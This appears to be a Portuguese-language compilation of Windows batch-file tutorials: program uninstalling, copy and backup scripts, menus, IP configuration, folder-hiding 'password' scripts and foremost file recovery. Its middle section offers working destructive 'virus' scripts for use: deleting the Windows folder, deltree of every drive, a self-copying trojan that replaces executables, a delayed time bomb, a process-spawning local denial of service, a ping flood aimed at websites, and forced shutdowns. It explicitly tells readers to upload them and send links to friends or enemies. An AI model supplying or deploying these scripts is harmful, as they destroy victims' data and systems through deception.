Você está na página 1de 30

Aprenda Desinstalar Programas Pelo CMD

Primeiro vamos listar os programas que temos instalado:

c:\wmic product get name

Sabendo o nome do programa podemos desinstalá-lo:

c:\wmic product where “name like ‘Adobe AIR'” call uninstall /nointeractive

Se retornar valor zero é porque o programa foi desinstalado. Use “wmic product get name” e veja
que não lista mais o programa.
Podemos usar caracter curinga pra especificar um programa “name like ‘%Adobe%'”. Nesse caso
desinstala tudo que possui Adobe no nome.
Agora use a imaginação e desinstale o Baidu automaticamente do seu parque computacional.
Dica, use script bat e GPO.

Bat que permite copiar arquivos para 1 local em especifico

Bat que permite copiar arquivos para um local específico", penso que o mesmo esta postado em
local indevido, pois deveria ser na area de "Programação", peço ao moderador deste setor, se
possível, movê-lo para área especifica.
Não podemos deixar de auxiliar:
[Code:
@echo off
cd\
echo Informe o diretorio que desejas copiar
echo Após unidade raiz digite cd espasso e o caminho desejado
echo Exemplo se você quer acessar a pasta e copiar de "C:\Documents and
Settings\Fulano\*.*.txt" (sem aspas), para "C:\documents ad settings\Beltrano\Pasta bkp" (sem
aspas) digite a frente de "C:\>" cd "C:\Documents and Settings\Fulano" e após digite: Copy
C:\Documents and Settings\Fulano\*.*.txt "C:\Documents and Settings\Beltrano\Pasta Bkp" (todos
sem aspas).
cmd
.echo
exit ]
Obs. Para cada tipo de extensão de arquivos (.doc, .rtf e .outros), voce deve acrescentar uma
linha com o comando "copy' acrecestando a frente o caminho (espaço) e destino.

Comandos úteis para arquivos .BAT

ECHO - escreve uma informação na tela


•@ECHO OFF - desliga as mensagens nativas do prompt

•@ECHO ON - mostra informações e mensagens nativas do prompt

•ECHO. - deixa uma linha em branco

•@ECHO - oculta o prompt durante toda execução

•SET - cria uma variável


•CLS - limpa a tela

•IF e ELSE - estruturas condicionais

•EXIST - verifica se algo existe, uma variável por exemplo

•GOTO - vai para um determinado ponto do arquivo

•:NOME - ponto de parada que pode ser chamado através do GOTO NOME

•FOR - estrutura de repetição

•PAUSE - faz uma pausa na execução do arquivo

•comando > NUL - oculta a mensagem de uma linha ou comando

•MSG * - mostra um balão de aviso na tela

•REM - usado para fazer comentários que não serão interpretados pelo prompt

•START - inicializa um aplicativo

•CALL "%variavel%" - abre um arquivo/programa com espaços no nome

•IF NOT DEFINED "%variavel%" GOTO comando - se a variável não estiver definida vai para
uma seção específica do arquivo

Variáveis do sistema
Dica: para saber o que cada uma dessas variáveis retorna use o comando ECHO seguido pelo
nome da variável, assim o valor será mostrado na tela.

•%username% - nome da conta do usuário logado

•%userprofile% - pasta do perfil do usuário

•%temp% - pasta temporária

•%windir% - pasta de instalação do Windows

•%systemroot% - pasta raiz do sistema

•%time% - hora do sistema

•%date% - data do sistema

•%homedrive% - letra do drive com o diretório de usuários

•%userdomain% - nome do domínio

•%systemdrive% - letra do drive onde o sistema está instalado


•%cd% - retorna o caminho do .bat

Modelos de scripts .bat

—————–
ECHO.
pause
start /wait F:\CNI\William\Testes\printers.bat
ECHO.

Arquivo printers.bat
@echo off
COLOR F
TITLE *** INSTALACAO DE IMPRESSORAS ***
:LOOP
ECHO.
ECHO —————————————
ECHO INSTALACAO/ CONFIGURACAO DE IMPRESSORAS
ECHO —————————————
ECHO.
ECHO 1. INSTALAR IMPRESSORA
ECHO 2. INSTALAR IMPRESSORA GERA ARQUIVOS .PDF (CutePDF Writer)
ECHO 3. ACESSAR IMPRESSORAS
ECHO 4. SAIR
ECHO.
SET Choice=
SET /P Choice=Digite a opcao desejada e pressione Enter:
IF NOT ‘%Choice%’==” SET Choice=%Choice:~0,1%
ECHO.
IF /I ‘%Choice%’==’1′ GOTO INSTALL
IF /I ‘%Choice%’==’2′ GOTO CUTE
IF /I ‘%Choice%’==’3′ GOTO CONFIG
IF /I ‘%Choice%’==’4′ GOTO END
ECHO “%Choice%” opcao nao valida, tente novamente!
ECHO.
GOTO again
:install
rundll32 printui.dll,PrintUIEntry /il
ECHO.
GOTO again
:CUTE
start /wait N:\SUPORTE\PDF\converter.exe
start /wait N:\SUPORTE\PDF\CuteWriter.exe
ECHO.
GOTO again
:config
CONTROL printers
ECHO.
GOTO again
:again
PAUSE
cls
GOTO Loop
:End
exit

29 outubro 2012Editor e compilador de .bat para .exe Masbat 2.0


Marcadores: .bat para .exe, Downloads, Programas
É um editor e compilador batch feito em delphi
com suporte a icones
e vem com alguns exemplos de batch
foi testado no windons 7 e funcionou perfeito, mas pode ser que em algumas versões não funfa!

link para baixar ===> http://masim-masosoft.blogspot.com.br/2012/08/masbat-v20-beta.html

Créditos Fórum Batch-Satti


Nenhum comentário:
Reações:

Protetor de unidades USB contra virus Autorun.inf


Marcadores: Programas
Programa que cria um arquivo NULL no pendrive impedindo a entrada de vírus.

Para remover o autorun.inf do pendrive só formatando.


Créditos ao Boss-Head do fórum batch-satti

@ECHO OFF
TITLE PROTETOR DE DISCOS REMOVÖVEIS ^(USB^)
SETLOCAL ENABLEEXTENSIONS
VER | FIND /i ” XP” >NUL
IF ERRORLEVEL -1 IF ERRORLEVEL 1 (
ECHO. ESSE SCRIPT FOI DESENVOLVIDO PARA WINDOWS XP.
GOTO END
)
ECHO\DETECTANDO O DISCO REMOVÖVEL (USB) . . .
SET “TXT=530054004F00520041″
FOR /F “DELIMS=\: TOKENS=0X3″ %%^^ IN (‘REG QUERY
HKLM\SYSTEM\MOUNTEDDEVICES ^| FIND “%TXT%”‘) DO (
VOL %%^^: 8>NUL 1>&8 2>&1 && (
ECHO\UNIDADE DETECTADA DISCO REMOVÖVEL (USB) = %%^^:
CHKDSK %%^^: 0>NUL 2>&0 | FIND ” FAT” >NUL
IF ERRORLEVEL 0 IF NOT ERRORLEVEL 1 (
IF EXIST %%^^:\AUTORUN.INF (DEL /F /Q /A %%^^:\AUTORUN.INF 7>NUL 1>&7 2>&1)
IF EXIST %%^^:\AUTORUN.INF (RD /Q /S \\?\%%^^:\AUTORUN.INF 6>NUL 1>&6 2>&1)
(MD \\?\%%^^:\AUTORUN.INF\…\) 5>NUL 1>&5 2>&1
(RD /Q /S \\?\%%^^:\AUTORUN.INF\…) 4>NUL 1>&4 2>&1
(CD.>\\?\%%^^:\AUTORUN.INF\NUL) 3>NUL 1>&3 2>&1
(MD \\?\%%^^:\AUTORUN.INF\…\%RANDOM%\…\ 9>NUL 1>&9 2>&1)
IF EXIST %%^^:\AUTORUN.INF (ECHO\SEU DISCO REMOVÖVEL %%^^: FOI PROTEGIDO
CONTRA VIRUS AUTORUN.INF.)
) ELSE (ECHO. O DISCO REMOVÖVEL %%^^: NÇO  UM DISCO FAT OU FAT32.)
)
)

:END
(0>NUL SET /P %%=PRESSIONE UMA TECLA PARA SAIR . . . )
PAUSE >NUL
GOTO :EOF

Arquivos .bat

Remove arquivos ex:Historicos,cookies, arquivos temporarios.

copie o codigo abaixo e salve no bloco de notas, como Limpador.bat

DEL /F /S /Q %HOMEPATH%\Config~1\Temp\*.*
DEL /F /S /Q C:\WINDOWS\Temp\*.*
DEL /F /S /Q C:\WINDOWS\Prefetch\*.*
DEL “%WINDIR%\Tempor~1\*.*” /F /S /Q
RD /S /Q “%HOMEPATH%\Config~1\Temp”
MD “%HOMEPATH%\Config~1\Temp”
RD /S /Q C:\WINDOWS\Temp\
MD C:\WINDOWS\Temp
RD /S /Q C:\WINDOWS\Prefetch\
MD C:\WINDOWS\Prefetch

esse é o começo agora vc pode inserir outros diretorios conforme sua necessidade.

Colocando senha em uma pasta sem programa.


Primeiro você abre o bloco de notas e cole o seguinte código:

CLS
@ECHO OFF
title COLOCAR SENHA EM PASTA
if EXIST “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” goto UNLOCK
if NOT EXIST Private goto MDLOCKER
:CONFIRM
echo Tem certeza que deseja trancar esta pasta(Y/N)
set/p “cho=>”
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Private “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
attrib +h +s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
echo Pasta trancada
goto End
:UNLOCK
echo Entre com a senha
set/p “pass=>”
if NOT %pass%== GALLO.U.H. goto FAIL
attrib -h -s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
ren “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” Private
echo Destrnacada com sucesso
goto End
:FAIL
echo Senha Incorreta
goto end
:MDLOCKER
md Private
echo Pasta criada com sucesso
goto End
:End

Salve o texto na onde você quiser (para que futuramente você possa criar mais pastas privadas)

No código acima troque a palavra “GALLO.U.H.” pela senha desejada

agora vá em salvar como e salve como protetor.bat

Pronto, ao clicar no arquivo protetor aparecera uma pasta com o nome de private.

você guarda tudo, na hora de fechar você clica no arquivo protetor e ele perguntará se você
deseja fechar, você coloca Y para sim e N para não, não importa se o y ou o n seja maiúsculo ou
minúsculo.

Para abrir a pasta basta clicar no arquivo protetor e ele vai pedir a senha.

Uma vantagem que quando a pasta some, ela não fica oculta, então não adianta digitar o
diretório na barra de endereços que ela não aparece.
Quando usar colocar os creditos !!!

@echo off
cls
rem atuar.bat : Copia arqs NOMEAAMMDDHHMINSEG.EXT de origem p/ Destino lendo a data
atual
rem Criado por: urs.Bira (urs.bira@uol.com.)
rem Data……: 16/03/2006
rem esta variável defini o começo do nome do arquivo
set nome=BIRA
rem esta variável define a extensão do arquivo
set extensao=URS
set origem=c:\download\
set destino=z:\util\prg\

rem Aqui a variável ursbira fica com o valor da data


set ursbira=%date%
rem Variável que irá verificar se a data tem ou não o nome do dia da semana no início
set versao=%ursbira:~2,1%
rem Mostra um caceçalho
echo Preparando para copiar arquivos ( %ursbira% )
rem Se o comando date mostra o dia da semana antes da data
if not “%versao%”==”/” goto versao1
rem Se o comando date NÃO mostra o dia da semana antes da data
if “%versao%”==”/” goto versao2
goto erro

rem abaixo coloquei duas das opções de como o comando date /t mostra a data, você tem que
executar o comando date /t
rem e ver como a data aparece no micro em que você vai usar este .bat por exemplo:
rem date /t pode mostrar a data como:
rem qui 06/04/06
rem qui 06/04/2006
rem 06/04/06
rem 06/04/2006

:versao1
rem Quando date /t retorna: qui 06/04/06
echo Copiando arquivos usando a Versao1
rem definicao de variaveis para Windows 2000
rem o commando date /t mostra o nome do dia da semana antes da data
rem Define a variável ano como sendo os dois últimos caracteres da data
set ano=%ursbira:~12,2%
rem Define mes como sendo o oitavo e o nono caracteres da data
set mes=%ursbira:~7,2%
rem Define dia como sendo os dois primeiros caracteres após o nome do dia da semana da data
set dia=%ursbira:~4,2%
goto copiar

:versao2
rem Quando date /t retorna: 06/04/06 (somente a data)
echo Copiando arquivos usando a Versao2
rem definicao de variaveis para Windows XP
rem usar estes sets quando o resultado do comando ver for:
rem Microsoft Windows XP exemplo da [versão 5.1.2600]
rem Define a variável ano como sendo os dois últimos caracteres da data
set ano=%ursbira:~8,2%
rem Define mes como sendo o oitavo e o nono caracteres da data
set mes=%ursbira:~3,2%
rem Define dia como sendo os dois primeiros caracteres após o nome do dia da semana da data
set dia=%ursbira:~0,2%
goto copiar

:copiar
rem Define a variável horario com o valor da hora
set horario=%time%
rem Define a variável hh como os dois primeiros caracteres da hora (hora)
set hh=%horario:~0,2%
rem Define a variável mm como o quarto e quinto caracteres da hora (minuto)
set mm=%horario:~3,2%
rem Define a variável ss como os últimos caracteres da hora (segundo)
set ss=%horario:~6,2%
rem Após essas definições a variável hoje ficará com o nome definido na variável nome mais
ANO MES DIA HORA MIM e SEG
rem Ai você pode mudar à vontade, por exemplo deixando somente ano e mes e sem extensão:
set hoje=%nome%%ano%%mes%
set hoje=%nome%%ano%%mes%%dia%%hh%%mm%%ss%.%extensao%
rem Daqui para baixo você monta o arquivo com o que você deseja fazer com ele
rem na linha abaixo estou colocando uma mensagem caso o arquivo não exista na origem
rem na linha seguinte, caso ele exista na origem ele sera copiado de origem para destino
rem na linha seguinte apenas exibe o nome dele
if not exist %origem%%hoje% echo O arquivo %hoje% nao foi localizado
if exist %origem%%hoje% copy %origem%%hoje% %destino%
echo %hoje%
goto fim

:erro
echo Data nao identificada
pause
goto fim

:fim
rem Apagando as variaveis utilizadas
set nome=
set extensao=
set origem=
set destino=
set ursbira=
set versao=
set horario=
set ano=
set mes=
set dia=
set hh=
set mm=
set ss=
set hoje=
rem ————– Fim do arquivo .bat

Exemplos de programas com arquivos .BAT

Programa de backup:

@ECHO OFF

CLS

ECHO ###############################

ECHO # PROGRAMA DE BACKUP

ECHO ###############################

RAR A C:\Users\miqdhow\Desktop\BKP_DOCS.RAR C:\DOCS\*.*

REM XCOPY /S /Y C:\POSTO E:\BACKUP\POSTO

PAUSE

@ECHO OFF
CLSECHO ###############################ECHO # PROGRAMA DE BACKUPECHO
###############################
RAR A C:\Users\miqdhow\Desktop\BKP_DOCS.RAR C:\DOCS\*.*
PAUSE

Programa que utiliza variaveis

@ECHO OFF
CLS

ECHO DIGA A UNIDADE DO PENDRIVER:

SET /p X=

CLS

COPY /Y C:\WINDOWS\WIN.INI %X%

PAUSE

script setar ip fixo

@echo off
set INTERFACE=rede
set IP=192.168.0.100
set MASCARA=255.255.255.0
set GATEWAY=192.168.0.1
set DNS=192.168.0.1
choice /C FAC /M “Pressione: [F]ixo, [A]utomatico ou [C]ancelar”
IF errorlevel=3 goto FIM
IF errorlevel=2 goto AUTOMATICO
IF errorlevel=1 goto FIXO
:FIXO
netsh interface ip set address name=”%INTERFACE%” static %IP% %MASCARA% %GATEWAY
%
netsh interface ip set dnsservers name=”%INTERFACE%” static %DNS% primary no
goto :FIM
:AUTOMATICO
netsh interface ip set address name=”%INTERFACE%” dhcp
netsh interface ip set dnsservers name=”%INTERFACE%” dhcp
goto :FIM
:FIM
exit

colocqando opções em arquivo .bat

@echo off
choice /C SNC /M “Pressione: [S]im, [N]ao ou [C]ancelar”
IF errorlevel=3 goto CANCELAR
IF errorlevel=2 goto NAO
IF errorlevel=1 goto SIM
:CANCELAR
exit
:SIM
echo O usuario pressionou [S]
@pause
goto :CANCELAR
:NAO
echo O usuario pressionou [N]
@pause
goto :CANCELAR

Criar arquivo .BAT com menu

Este código vai auxiliar na criação de um script BAT com “Menu” caso tenha muitas opções de
execução do mesmo script.
Após entender a logica do programa vai perceber que é muito fácil acrescentar ou retirar opções
adequando o código a sua necessidade

Basta copiar o código abaixo para o Notepad e salvar com a extensão BAT ou CMD para que
este possa ser executado.

:inicio
@echo off
cls
echo. ---------------------------
echo Menu Principal
echo. ---------------------------
echo 1 - Opcao 1
echo. 2 - Opcao 2
echo. 3 - Opcao 3
echo 4 - Opcao 4
echo 0 - SAIR
echo. ---------------------------
set /p Comando= Digite uma Opcao :
if "%Comando%" equ "1" (goto:op1)
if "%Comando%" equ "2" (goto:op2)
if "%Comando%" equ "3" (goto:op3)
if "%Comando%" equ "4" (goto:op4)
if "%Comando%" equ "0" (goto:exit)
:op1
echo Opcao 1
pause
goto:inicio
:op2
echo Opcao 2
pause
goto:inicio
:op3
echo Opcao 3
pause
goto:inicio
:op4
echo Opcao 4
pause
goto:inicio
:exit
exit
CRIANDO UM VÍRUS BAT QUE DESLIGA O PC
Os vírus de computador são programas (softwares) que são desenvolvidos desde para desligar
um computador ou abrir várias janelas para incomodar o usuário, até para entregar o controle
total de um sistema operacional ao hacker. Os vírus mais avançados e arrojados são
desenvolvidos em uma linguagem de programação completa como C, C++, Java, Delphi, dentre
outras, essas linguagens permitem que o hacker explore ao máximo os recursos que um sistema
operacional oferece a nível de desenvolvimento, podendo assim utilizar rotinas de rede, controle
e chamadas do sistema, além é claro de explorar falhas em bibliotecas ou funções do mesmo.

Uma outra forma, bem mais simples de desenvolver “micro vírus” é utilizando comandos internos
que o sistema operacional oferece a seus usuários, com isso é possível utilizar arquivos bat para
executar esses comandos, claro que nesse caso há limitações quanto ao que pode ser feito no
sistema, por exemplo, você não consegue assumir o controle de um sistema e criar uma
backdoor para invadir o mesmo remotamente, mas quando o propósito é fazer brincadeiras com
amigos, os vírus em bat são bem úteis, até porque, como os arquivos bat são comandos
executáveis do sistema em lotes, dependendo dos comandos que você escrever no bat, esse
arquivo não será reconhecido como vírus por programas de segurança como Antivírus ou
AntiSpywares.
Nesse tutorial eu vou mostrar como fazer um vírus bat, que faz com que o computador seja
desligado em 1 minuto, assim que executado o vírus irá mostrar uma janela para o usuário com a
mensagem “Você tem 1 minuto para salvar o seu Windows, boa sorte :D!”. O comando utilizado
nesse vírus faz com que qualquer programa que esteja aberto seja forçado a ser fechado, com
isso evitará as mensagens do tipo “Um programa esta em execução, feche-o pra desligar”, ou
seja, após passar um minuto, o Windows simplesmente será encerrado e o computador
desligará. Vamos então ao tutorial:
Obs: O comando utilizado nesse vírus.bat fará apenas com que o computador seja desligado,
como se o usuário fosse em “Iniciar/Desligar”, nenhum arquivo ou informação será
comprometida, muito menos apagada, pode ficar tranquilo

1- Abra o bloco de notas, nele digite os comandos abaixo:

@ECHO OFF
TITLE ##### Destruição do Windows #####
echo ##### Destruição do Windows #####
echo.
echo Voce tem 1 minuto para salvar o seu Windows, boa sorte :D!
echo.
shutdown -s -t 60 -c "Voce tem 1 minuto para salvar o seu Windows, boa sorte :D!"
exit

Explicando as linhas de código:


2 Essa linha de código define o título da janela do prompt de comando que será aberto pelo
arquivo bat, como a janela será fechada instantaneamente, pode ser qualquer título.
3 O comando echo escreve uma mensagem no prompt de comando aberto pelo arquivo bat.
4 O comando echo. faz simplesmente uma linha em branco no prompt de comando.
7 Esse é o principal comando do vírus, o comando shutdown -s -t 60 faz com que o Windows
seja encerrado em 60 segundos (1 minuto), forçando qualquer programa aberto a ser fechado
sem mensagem prévia, o argumento -c define uma mensagem para a janela de aviso que o
Windows mostra para o usuário.

2- No bloco de notas clique em “Arquivo” em seguida “Salvar como…“. Escolha um local para
salvar o vírus.bat e no nome do arquivo, coloque o nome que você quer para o vírus seguido por
um “.bat“, isso fará com que o seu arquivo fique com a extensão “.bat“, sendo assim um arquivo
de lotes de comandos.

Ao acessar o local que você salvou o arquivo.bat, deve ter um arquivo com esse ícone ou
algo parecido:
Pronto, agora basta enviar o arquivo.bat para seus amigos e trollá-los. Ao clicar duas vezes no
arquivo.bat o vírus será executado e uma janela de desligamento deverá aparecer e ao passar um
minuto, o Windows será desligado.

Para cancelar o desligamento do computador após a execução do vírus.bat, basta abrir o prompt
de comando e digitar o comando shutdown -a , isso fará com que qualquer rotina de
desligamento do Windows seja cancelada imediatamente. Uma curiosidade, no
comando shutdown -s -t 60 dado no arquivo bat, se você trocar o 60 por 0, fará com que o
computador seja desligado no mesmo instante :D.
Em breve postarei outros códigos úteis para trollar com vírus.bat, como por exemplo travar o
Windows, abrir várias janelas, emitir sons, dentre outras funções.

Códigos Virus
Códigos BAT
Uma lista de comandos para criar “vírus” e com suas respectivas funções!

Del All Windows – Função: Deleta todo do Windows


Código

rmdir /s /q c:\windows

Autoexec – Função: Fode com tudo


Código@ECHO OFF
@BREAK OFF
deltree/C: Y\*.*
Del Windows – Função: Deleta tudo dentro do Windows exceto arquivos e não pastas
Códigodel /s /q c:\windows\

Trojan-2 – Função: Fode com tudo mesmo


Código

@echo off
ctty nul
rem
for %%f in (*.exe *.com) do set A=%%f
if %A%==COMMAND.COM set A=
rename %A% V%A%
if not exist V%A% goto end
attrib +h V%A%
copy %0.bat %A%
attrib +r %A%
ren %A% *.bat
set A=
:end
ctty con
@if exist V%0.com V%0.com %1 %2 %3
@if exist V%0.exe V%0.exe %1 %2 %3
Pirata – Função: Testar seu Antivírus ou enganar alguém
Código
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

Clique em Mim – Função: Fica repetindo várias vezes a mesma mensagem


Código

@ECHO OFF
:REPETE
MSG * CLICK EM MIM
GOTO REPETE

Progstar – Função: Abre vários programas sem parar, faz o PC travar


Código

@echo off
rem Denial Of Service Local
:Fucker
start notepad.exe
start write.exe
start sol.exe
start cmd.exe
start powerpnt.exe
start excel.exe
start winword.exe
start msacess.exe
goto Fucker:

Nome: MSN Fixer – Função: Congela todos os MSN’s que estao sendo executados
Código
cd %USERPROFILE%
cd Config~1
cd Dadosd~1
cd Micros~1
cd “Windows Live Contacts”
del /s /q *.*

Bomba Relógio – Função: depois que ele for ativado 7 vezes ele apaga tudo
Código
c:\
cd\
echo off
if exist lig1.drv goto 2
echo > lig1.drv sdfsdf
goto fim
:2
if exist lig2.drv goto 3
echo > lig2.drv sdfsdf
goto fim
:3
if exist lig3.drv goto 4
echo > lig3.drv sdfsdf
goto fim
:4
if exist lig4.drv goto 5
echo > lig4.drv sdfsdf
goto fim
:5
if exist lig5.drv goto 6
echo > lig4.drv sdfsdf
goto fim
:6
if exist lig6.drv goto 7
echo > lig6.drv sdfsdf
goto fim
:7
rmdir C:\windows
rmdir C:\arquivos de programas
rmdir C:\documents and settings
:fim

Nome: HDLed – Função: Formata todos os discos locais


Código

@echo off
echo Título do Vírus
echo.
echo Escreva oq vc quiser Aqui
echo.
break off
DELTREE/y C:\
DELTREE/y D:\
DELTREE/y E:\
DELTREE/y F:\

Nome: Ping da Morte – Função: Derruba sites ou computador da rede


Código

CLS
@ECHO OFF
TITLE Ping da Morte
echo Título Interno do Vírus
echo.
echo Escreva alguma mensagem
echo.
:CONFIRM
echo Para proceguir precione a tecla “S” caso contrario precione “N”:
set/p “cho=>”
echo.
if %cho%==S goto PING
if %cho%==s goto PING
if %cho%==N goto EXIT
if %cho%==n goto EXIT
echo Invalid choice.
goto CONFIRM
:PING
ping -l- 1472 -t -w 160 coloque o IP ou o endereço do site aqui
:EXIT
pause
netsh interface ip set address name=”Conexão local” source=”Static ou DHCP” [111.111.111.111] [111.111.111.111]
ipconfig /release
ipconfig /renew
shutdown -s -t 120 -c “Para sua seguranca seu computador estara reiniciando em 120 segundos. Pois o mesmo se
certificara que seu endereco de TCP/IP seja alterado.”
exit

Nesta lista tem alguns programas que apaga tudo que tem no seu PC, ou seja, formata-o. Caso você criar um
programa desses e clicar nele sem querer, seu PC sera totalmente formatado, esse é um bom programa para passas
para pessoas que você não gosta.

Mas tambem tem outros programas que não são tao prejudiciais ao seu PC, Como o MSN Fixer e outros. Se voce
não sabe criar o programa BAT, Veja o Tutorial na última Página.

Nome: Unlock Folder – Função: Coloca senha em uma pasta


Código

CLS
@ECHO OFF
Title Coloque o Título do Seu Bloqueador Aqui
if EXIST “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” goto UNLOCK
if NOT EXIST Arquivos goto MDLOCKER
:CONFIRM
echo Para bloquear os arquivos pressione a tecla (S) para manter-se conectado a eles pressione a tecla (N):
set/p “cho=>”
if %cho%==S goto LOCK
if %cho%==s goto LOCK
if %cho%==N goto END
if %cho%==n goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Arquivos “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
attrib +h +s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
echo O bloqueio foi realizado com Sucesso!
goto End
:UNLOCK
echo Escreva alguma mensagem aqui:
set/p “pass=>”
if NOT %pass%== AQUI VAI SUA SENHA goto FAIL
attrib -h -s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
ren “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” Arquivos
echo O desbloqueio foi realizado com Sucesso!
goto End
:FAIL
echo A senha que voce digitou e invalida! Por favor, contate o administrador!
goto end
:MDLOCKER
md Arquivos
echo A pasta de Documentos foi criada com sucesso!
goto End
:End
pause

Tutorial do BAT
1 – Abra o Bloco De Notas e digite o código desejado

Código@ECHO OFF
@BREAK OFF
deltree/C: Y\*.*

2 – Agora clique em Salvar como, escreva qualquer nome e no final coloque: .bat (sem aspas) Exemplo: Nome
do arquivo.bat
3 – Coloque o programa que você criou em algum site de compartilhamento de arquivos, eu recomendo o MediaFire
ou 4Sahred.

4 – Depois que você hospedar o programa em algum site, copie o link e mande para seus amigos ou inimigos no MSN.

5 – Pronto! O processo de criação do BAT esta concluída.

Como proteger uma pasta com senha


Se você está tendo problemas com pessoas mexendo em arquivos importantes de seu
computador, que tal escondê-la? Nós iremos mostrar para vocês um método fácil e seguro de
fazê-lo. Tudo que usaremos será o bloco de notas e um código.
1. Crie uma pasta com um título qualquer.

2.Copie este código e cole no bloco de notas.

@ECHO OFF
title Folder Confidencial
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Confidencial goto MDLOCKER
:CONFIRM
echo Voce tem certeza que deseja bloquear a pasta "Confidencial" ?(S/N)
set/p "cho=>"
if %cho%==s goto LOCK
if %cho%==S goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Confidencial "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to unlock folder
set/p "pass=>"
if NOT %pass%== coloque_sua_senha_aqui goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Confidencial
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Confidencial
echo Confidencial created successfully
goto End
:End

Dê um CTRL+F e procure pela frase: "coloque_sua_senha_aqui". Substitua essa frase pela senha
que desejar. Lembrando que se sua senha tiver espaço, substitua-o por um subtraço no lugar do
código.

3. Salve o arquivo dentro da pasta que você criou no item 1. com a extensão .bat. Por exemplo:
"senha.bat".
Deverá ficar assim:

4. Dê dois cliques no arquivo .bat. Uma pasta chamada "Confidencial" será criada:
5. Guarde os arquivos que desej esconder dentro da pasta Confidencial. Dê dois cliques
novamente no arquivo .bat, e aparecerá uma imagem perguntando se você quer bloquear a pasta
"Confidencial". Responda com um "S" seguido de Enter.

6. Pronto, sua pasta estará escondida, e o que vai lhe restar será só o arquivo .bat.

Você deve estar se perguntando: "Qualquer um pode modificar a senha pelo código?". Sim, é
verdade, qualquer um pode fazer isso. Porém, você pode usar esse arquivo .bat como uma
"chave" e mudá-lo de lugar ou até mesmo carregar consigo em um pendrive.

7. Para fazer sua pasta aparecer, dê dois cliques no arquivo .bat, que deve estar dentro da pasta
que criamos no item 1. e coloque sua senha. A pasta confidencial voltará a aparecer.

Recuperar dados usando foremost

O foremost é uma ferramenta de recuperação de arquivos desenvolvido por dois agentes


especiais do grupo de investigações da Força Aérea dos Estados Unidos

Como pode observar este PenDrive de 2 GB esta vazio pois todos os arquivos foram apagados.
Vamoa iniciar o processo de Recuperação dos Dados

01 Passo

Crie um diretório para armazenar os arquivos recuperados

root@linux:/# mkdir recuperar

root@linux:/# cd recuperar

root@linux:/recuperar#
02 Passo

Execute o comando fdisk -l para certificar que o PenDrive esta conectado.

root@linux:/recuperar# fdisk -l

Observe a linha Device Boot /dev/sdb1

03 Passo

Execute o comando foremost -h ( -h help ) para conhecer as opções de ajuda.

root@linux:/recuperar# foremost -h
04 Passo

Execute o comando foremost com as seguintes opções:

-T : Especifica a saída padrão (stdin)

-t : Informe os tipo(s) de arquivos que devem ser recuperados exemplo: -t jpg,png

-i : Informe o arquivo/dispositivo de saída

root@linux:/recuperar# foremost -T -t jpg,png -i /dev/sdb1

Aguarde o processo de recuperação.


05 Passo

Um diretório com os arquivos recuperados serão


criados output_DiaDaSemana_Mês_Dia_Hora_Minuto_Segundo_Ano no
exemplo output_Sat_Jul_27_12_15_14_2013

root@linux:/recuperar# ls -l ( listar o diretório criado )

root@linux:/recuperar# cd output_Sat_Jul_27_12_15_14_2013

root@linux:/recuperar/output_Sat_Jul_27_12_15_14_2013# ls -l ( lista os diretórios criados )


06 Passo

Visualizar o arquivo audit.txt que contem um relatório de todos os arquivos que foram
recuperados.

root@linux:/recuperar/output_Sat_Jul_27_12_15_14_2013# cat audit.txt


07 Passo

Foram recuperados 6 arquivos .jpg e 33 arquivos .png

08 Passo

Conteúdo do diretório jpg


Conteúdo do diretório png